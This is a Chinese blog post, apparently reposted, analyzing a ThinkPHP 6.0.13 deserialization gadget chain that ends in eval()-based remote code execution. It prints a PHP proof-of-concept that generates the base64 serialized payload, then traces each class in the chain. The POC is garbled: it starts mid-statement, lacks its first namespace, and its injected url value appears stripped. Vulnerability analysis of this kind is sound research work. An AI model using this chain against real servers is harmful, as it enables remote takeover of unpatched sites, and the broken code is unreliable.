Think PHP 6.0.13反序列化分析
原poc链接:https://github.com/top-think/framework/issues/2749
think PHP 6.0.13下载
composer create-project topthink/think tp
poc源码
pool = $exp; } }}namespace think\log{ class Channel{ protected $logger; protected $lazy = true; public function __construct($exp) { $this->logger = $exp; $this->lazy = false; } }}namespace think{ class Request{ protected $url; public function __construct() { $this->url = ''; } } class App{ protected $instances = []; public function __construct() { $this->instances = ['think\Request'=>new Request()]; } }}namespace think\view\driver{ class Php{}}namespace think\log\driver{ class Socket{ protected $config = []; protected $app; protected $clientArg = []; public function __construct() { $this->config = [ 'debug'=>true, 'force_client_ids' => 1, 'allow_client_ids' => '', 'format_head' => [new \think\view\driver\Php,'display'], # 利用类和方法 ]; $this->app = new \think\App(); $this->clientArg = ['tabid'=>'1']; } }}namespace{ $c = new think\log\driver\Socket(); $b = new think\log\Channel($c); $a = new League\Flysystem\Cached\Storage\Psr6Cache($b); echo base64_encode(serialize($a));}
分析
从POC开始分析
起始类是Psr6Cache类,但是在Psr6Cache类中没有发现__destruct()方法,在定义类的地方发现其继承了AbstractCache类。通过全局查找__destruct方法定位到class="lazy" data-src/Storage/AbstractCache.php
这里对autosave变量进行判断是否为false,$autosave是成员变量可以控制,后调用了save方法,跟进save方法
调用了pool的getItem方法,这里AbstractCache->pool是可控的,找一下__call方法,根据POC找到Channel.php
调用了log方法,再跟进record方法(记录日志信息)
在record方法中的前三个判断都可以过,主要看第四个判断,因为这里是要利用$this->save方法
$lazy默认是true不可控,但是$this->lazy是成员变量可控,因此可以进入save方法。继续 跟进save方法。
在save方法判断了$this-event是否有值,这里默认是没有的,可以跳过,到$this->logger->save()
这里调用了$this->logger记录器的save方法,然而这里的logger是成员变量,是可控的。根据POC可以发现这里利用了socket的save方法
namespace think\log{ class Channel{ protected $logger; protected $lazy = true; public function __construct($exp) {//$exp=new socket() $this->logger = $exp; $this->lazy = false; } }}
全局找一下save方法,继续跟进socket的save方法
这里首先对自身进行了检查,不通过就返回false,这里我们必须要check方法返回true,跟进check方法。check方法的主要功能是获取用户输入的taid参数、检查是否记录日志和用户认证。
这里看一下检查request实例对象的分支
这里在POC中给了App中request的实例对象
再回到socket的save方法
判断debug是否开启,这里可控。这里有判断了$this->app的request实例对象是否存在,这里可以直接进入,然后获取request实例对象的url的值(这个值是重点)。然后判断this->config['format_head']是否存在,存在的话就调用$this->app的inoke方法,尝试调用反射执行this->config['format_head']的方法,参数是$currentUri。在这里我们只要找到可以执行危险操作的危险函数,并将其控制到this->config['format_head']里面就可以进行RCE了。而这个config是一个成员变量,是可控的,因此只要寻找危险方法就可以了。这里POC找的是Php类的display方法,里面存在eval函数。
POC通过控制config即可控制程序执行到Php类的display方法。
在POC中控制了App对象中request实例对象的url的值
(socket)$this->app->request->url='']
在display方法中执行eval('?>'),成功调用系统计算器
此次反序列化漏洞主要需要控制的点,是在Socket类中的变量控制,和Php中的display方法的利用。还要一点就是在构造POC时Psr6Cache类的pool变量必须要写在前面,否则生成的payload是无效的。。。自己在仿造POC时调试了很久。
此次分析就到这吧,感谢秋秋晚的指点
来源地址:https://blog.csdn.net/qq_60481227/article/details/127307620
免责声明:
① 本站未注明“稿件来源”的信息均来自网络整理。其文字、图片和音视频稿件的所属权归原作者所有。本站收集整理出于非商业性的教育和科研之目的,并不意味着本站赞同其观点或证实其内容的真实性。仅作为临时的测试数据,供内部测试之用。本站并未授权任何人以任何方式主动获取本站任何信息。
② 本站未注明“稿件来源”的临时测试数据将在测试完成后最终做删除处理。有问题或投稿请发送至: 邮箱/279061341@qq.com QQ/279061341